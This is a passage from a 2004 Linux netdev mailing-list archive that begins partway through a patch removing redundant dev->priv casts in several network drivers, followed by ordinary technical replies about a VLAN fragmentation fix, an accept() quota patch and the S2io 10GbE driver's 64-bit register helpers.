Shutting down sb1000.\n", dev->name); diff -puN drivers/net/sb1250-mac.c~drivers_net_casts drivers/net/sb1250-mac.c --- linux-263-229/drivers/net/sb1250-mac.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/sb1250-mac.c 2004-02-29 14:03:33.000000000 -0800 @@ -2150,7 +2150,7 @@ static irqreturn_t sbmac_intr(int irq,vo ********************************************************************* */ static int sbmac_start_tx(struct sk_buff *skb, struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; /* lock eth irq */ spin_lock_irq (&sc->sbm_lock); @@ -2454,7 +2454,7 @@ static int sbmac_init(struct net_device static int sbmac_open(struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; if (debug > 1) { printk(KERN_DEBUG "%s: sbmac_open() irq %d.\n", dev->name, dev->irq); @@ -2609,7 +2609,7 @@ static int sbmac_mii_poll(struct sbmac_s static void sbmac_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; int next_tick = HZ; int mii_status; @@ -2673,7 +2673,7 @@ static void sbmac_tx_timeout (struct net static struct net_device_stats *sbmac_get_stats(struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; unsigned long flags; spin_lock_irqsave(&sc->sbm_lock, flags); @@ -2691,7 +2691,7 @@ static void sbmac_set_rx_mode(struct net { unsigned long flags; int msg_flag = 0; - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; spin_lock_irqsave(&sc->sbm_lock, flags); if ((dev->flags ^ sc->sbm_devflags) & IFF_PROMISC) { @@ -2726,7 +2726,7 @@ static void sbmac_set_rx_mode(struct net static int sbmac_mii_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; u16 *data = (u16 *)&rq->ifr_data; unsigned long flags; int retval; @@ -2762,7 +2762,7 @@ static int sbmac_mii_ioctl(struct net_de static int sbmac_close(struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = dev->priv; unsigned long flags; int irq; diff -puN drivers/net/seeq8005.c~drivers_net_casts drivers/net/seeq8005.c --- linux-263-229/drivers/net/seeq8005.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/seeq8005.c 2004-02-29 14:03:33.000000000 -0800 @@ -357,7 +357,7 @@ out: */ static int seeq8005_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; { int irqval = request_irq(dev->irq, &seeq8005_interrupt, 0, "seeq8005", dev); @@ -390,7 +390,7 @@ static void seeq8005_timeout(struct net_ static int seeq8005_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; short length = skb->len; unsigned char *buf; @@ -462,7 +462,7 @@ static irqreturn_t seeq8005_interrupt(in /* We have a good packet(s), get it/them out of the buffers. */ static void seeq8005_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int boguscount = 10; int pkt_hdr; int ioaddr = dev->base_addr; @@ -561,7 +561,7 @@ static void seeq8005_rx(struct net_devic /* The inverse routine to net_open(). */ static int seeq8005_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; lp->open_time = 0; @@ -583,7 +583,7 @@ static int seeq8005_close(struct net_dev closed. */ static struct net_device_stats *seeq8005_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } @@ -618,7 +618,7 @@ static void set_multicast_list(struct ne void seeq8005_init(struct net_device *dev, int startp) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; int i; diff -puN drivers/net/sgiseeq.c~drivers_net_casts drivers/net/sgiseeq.c --- linux-263-229/drivers/net/sgiseeq.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/sgiseeq.c 2004-02-29 14:03:33.000000000 -0800 @@ -445,7 +445,7 @@ static irqreturn_t sgiseeq_interrupt(int static int sgiseeq_open(struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *)dev->priv; + struct sgiseeq_private *sp = dev->priv; struct sgiseeq_regs *sregs = sp->sregs; int err = init_seeq(dev, sp, sregs); diff -puN drivers/net/sk_g16.c~drivers_net_casts drivers/net/sk_g16.c --- linux-263-229/drivers/net/sk_g16.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/sk_g16.c 2004-02-29 14:03:33.000000000 -0800 @@ -869,7 +869,7 @@ static int SK_open(struct net_device *de int irqtab[] = SK_IRQS; - struct priv *p = (struct priv *)dev->priv; + struct priv *p = dev->priv; PRINTK(("## %s: At beginning of SK_open(). CSR0: %#06x\n", SK_NAME, SK_read_reg(CSR0))); diff -puN drivers/net/smc9194.c~drivers_net_casts drivers/net/smc9194.c --- linux-263-229/drivers/net/smc9194.c~drivers_net_casts 2004-02-29 14:03:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/smc9194.c 2004-02-29 14:03:33.000000000 -0800 @@ -465,7 +465,7 @@ static void smc_setmulticast( int ioaddr */ static int smc_wait_to_send_packet( struct sk_buff * skb, struct net_device * dev ) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = dev->priv; unsigned short ioaddr = dev->base_addr; word length; unsigned short numPages; @@ -576,7 +576,7 @@ static int smc_wait_to_send_packet( stru */ static void smc_hardware_send_packet( struct net_device * dev ) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = dev->priv; byte packet_no; struct sk_buff * skb = lp->saved_skb; word length; @@ -1150,7 +1150,7 @@ static irqreturn_t smc_interrupt(int irq { struct net_device *dev = dev_id; int ioaddr = dev->base_addr; - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = dev->priv; byte status; word card_stats; @@ -1274,7 +1274,7 @@ static irqreturn_t smc_interrupt(int irq */ static void smc_rcv(struct net_device *dev) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = dev->priv; int ioaddr = dev->base_addr; int packet_number; word status; @@ -1401,7 +1401,7 @@ done: static void smc_tx( struct net_device * dev ) { int ioaddr = dev->base_addr; - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = dev->priv; byte saved_packet; byte packet_no; word tx_status; @@ -1474,7 +1474,7 @@ static int smc_close(struct net_device * . This may be called with the card open or closed. .-------------------------------------------------------------*/ static struct net_device_stats* smc_query_statistics(struct net_device *dev) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = dev->priv; return &lp->stats; } _ -- ~Randy From davem@redhat.com Sun Feb 29 21:54:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 21:54:40 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i215sQKO017226 for ; Sun, 29 Feb 2004 21:54:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i215sMb11971; Mon, 1 Mar 2004 00:54:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i215sM827637; Mon, 1 Mar 2004 00:54:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i215sGeF019990; Mon, 1 Mar 2004 00:54:17 -0500 Date: Sun, 29 Feb 2004 21:54:21 -0800 From: "David S. Miller" To: Bart De Schuymer Cc: ebtables-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 fix vlan-encapsulated fragmented IP traffic Message-Id: <20040229215421.0ca987e8.davem@redhat.com> In-Reply-To: <200402291914.53578.bdschuym@pandora.be> References: <200402291914.53578.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3674 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1247 Lines: 27 On Sun, 29 Feb 2004 19:14:53 +0100 Bart De Schuymer wrote: > When vlan-tagged fragmented IP traffic passes the bridging firewall and > ip_conntrack is loaded and iptables sees this IP traffic, an oops can > occur when trying to fragment the defragmented packets. This only > happens in the slow_path of ip_fragment(). ... > The patch below fixes it. I saw no other way than to add some code to > ip_fragment(), but this extra code is located in the slow_path so it's > hardly ever executed. Can you explain the 'mtu' fiddling a little bit? I think it's correct... but you know :) The one case I'm concerned about is when the device does hw acceleration of vlan tagging (ie. therefore things are transparent supposedly), is the 'mtu' adjustment thing correct in that case? I'm applying this for now, as I can't come up with a better fix either. If we find a problem with this change, we'll fix that up. I'm really concerned, btw, that this is going to propagate to other places as well, what if something that gets handled this way gets sent over an IPIP tunnel via some route, and then IPIP has to make all of these crazy adjustments too? That's going too far and we'll have to find a better way if that is the case. From davem@redhat.com Sun Feb 29 22:05:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 22:05:53 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2165YKO017709 for ; Sun, 29 Feb 2004 22:05:35 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i2165Sb14550; Mon, 1 Mar 2004 01:05:28 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2165S830134; Mon, 1 Mar 2004 01:05:28 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i21658eF022376; Mon, 1 Mar 2004 01:05:09 -0500 Date: Sun, 29 Feb 2004 22:05:13 -0800 From: "David S. Miller" To: Ronghua Zhang Cc: kashyapv@us.ibm.com, shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() Message-Id: <20040229220513.68eed11f.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3675 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 479 Lines: 13 On Thu, 26 Feb 2004 17:08:23 -0500 (EST) Ronghua Zhang wrote: > www.cs.virginia.edu/~rz5b/research/kernel-qos.htm I looked at this, it's basically netfilter TCP port rewriting which knows about per-socket quotas and limits. You could write this as a 10 line netfilter module, with zero modifications to any of the core net/ipv4 TCP code at all. And that's how I'd like to see something like this done. Otherwise it looks like a nice way of doing this. From jgarzik@pobox.com Sun Feb 29 22:53:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 22:54:06 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i216rlKO018591 for ; Sun, 29 Feb 2004 22:53:48 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:2184 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AxhJB-0008NQ-O3; Mon, 01 Mar 2004 06:53:45 +0000 Message-ID: <4042DDED.9070709@pobox.com> Date: Mon, 01 Mar 2004 01:53:33 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raghavendra.koushik@wipro.com CC: leonid.grossman@s2io.com, netdev@oss.sgi.com, shemminger@osdl.org, hch@infradead.org, ravinandan.arakali@s2io.com, raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver References: <4223A04BF7D1B941A25246ADD0462FF50115AD10@blr-m3-msg.wipro.com> In-Reply-To: <4223A04BF7D1B941A25246ADD0462FF50115AD10@blr-m3-msg.wipro.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3676 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1765 Lines: 53 raghavendra.koushik@wipro.com wrote: > Jeff, > Regarding Point # 37 > > >>>37) kill all of this: >>> >>>+/* OS related system calls */ >>>+ >>>+#ifndef readq >>>+static inline u64 read64(void *addr) >>>+{ >>>+ u64 ret = 0; >>>+ ret = readl(addr + 4); >>>+ (u64) ret <<= 32; >>>+ (u64) ret |= readl(addr); > > [....] > > I agree that read/write(32,16,8) are not used so can be eliminated, > but the read/write64 macros are essential because not all platforms > have defined the readq and writeq system calls. i386 for example > doesn't have readq/writeq and to write into the 64 bit registers > of the NIC, I use 2 successive 32 bits (readl/writel) operation to > achieve the 64 bit equivalent. This procedure does work on all the > platforms that we have tested on. The code should use the kernel API -- readq/writeq -- not define its own API. With regards to the missing readq/writeq on some architectures... Short term, if some arches do not provide readq/writeq, provide your own definition (i.e. rename your write64 to a conditionally-defined writeq). Long term, all Linux platforms need to provide readq/writeq, so we need to modify the architectures with the missing pieces. > Confidentiality Notice > > The information contained in this electronic message and any attachments to this message are intended > for the exclusive use of the addressee(s) and may contain confidential or privileged information. If > you are not the intended recipient, please notify the sender at Wipro or Mailadmin@wipro.com immediately > and destroy all copies of this message and any attachments. Oh really? ;-) You should talk to your lawyers and sysadmins about sending email to open source people and lists... Regards, Jeff From bdschuym@pandora.be Sun Feb 29 23:06:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 23:06:34 -0800 (PST) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2176JKO019076 for ; Sun, 29 Feb 2004 23:06:20 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id 0AC541F708B; Mon, 1 Mar 2004 08:06:19 +0100 (MET) Received: from 192.168.0.138 (D5762B56.kabel.telenet.be [213.118.43.86]) by adicia.telenet-ops.be (Postfix) with ESMTP id BBF031F7073; Mon, 1 Mar 2004 08:06:18 +0100 (MET) From: Bart De Schuymer To: "David S. Miller" Subject: Re: [PATCH] 2.6.3 fix vlan-encapsulated fragmented IP traffic Date: Mon, 1 Mar 2004 08:06:29 +0100 User-Agent: KMail/1.5 Cc: ebtables-devel@lists.sourceforge.net, netdev@oss.sgi.com References: <200402291914.53578.bdschuym@pandora.be> <20040229215421.0ca987e8.davem@redhat.com> In-Reply-To: <20040229215421.0ca987e8.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403010806.29759.bdschuym@pandora.be> X-archive-position: 3677 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev Content-Length: 2527 Lines: 48 On Monday 01 March 2004 06:54, David S. Miller wrote: > Can you explain the 'mtu' fiddling a little bit? I think it's correct... > but you know :) Between the Ethernet header and the IP header, there will be put a vlan-header. This is done in br_dev_queue_push_xmit(), with nf_bridge_maybe_copy_header(). By changing the mtu we make sure the IP packets arre small enough to allow the vlan header to be added. > The one case I'm concerned about is when the device does hw acceleration > of vlan tagging (ie. therefore things are transparent supposedly), is > the 'mtu' adjustment thing correct in that case? I don't think that's a problem. We only have this problem when the vlan-tagged IP packet enters the bridge as a whole, so the incoming bridge port doesn't strip the vlan header. Therefore, the outgoing bridge port shouldn't be adding the vlan-header, as it's already supposed to be there. The difference between the slow_path and the normal path in ip_fragment() is that in the normal path we can use the skbuffs of the fragments and these already have enough space for the vlan header and the IP fragment size is small enough. In the slow_path the skbuffs are constructed and then we need these special measures. > I'm applying this for now, as I can't come up with a better fix either. > If we find a problem with this change, we'll fix that up. > > I'm really concerned, btw, that this is going to propagate to other places > as well, what if something that gets handled this way gets sent over an > IPIP tunnel via some route, and then IPIP has to make all of these crazy > adjustments too? That's going too far and we'll have to find a better > way if that is the case. I'm not sure how IPIP tunnels are implemented, but I'm assuming they strip the first IP header like the vlan code strips the vlan header when a vlan-packet arrives on a vlan-enabled device. Then there should be no problem with this. Even if it's done differently, I don't _think_ it will give a problem. The problem is caused purely by the fact that the bridge-nf code (br_netfilter.c) skb_pulls the packet by 4 bytes if it's an IP packet inside a vlan-header, allowing the IP packet to be filtered by iptables, and as far as the IP code and iptables is concerned, there is no vlan-header. So we need to give the IP code a little help. Extra code, analogous to the code for vlan, would need to be added in nf_bridge_pad() if we were to allow filtering IP packets inside a bridged IPIP packet, of course. cheers, Bart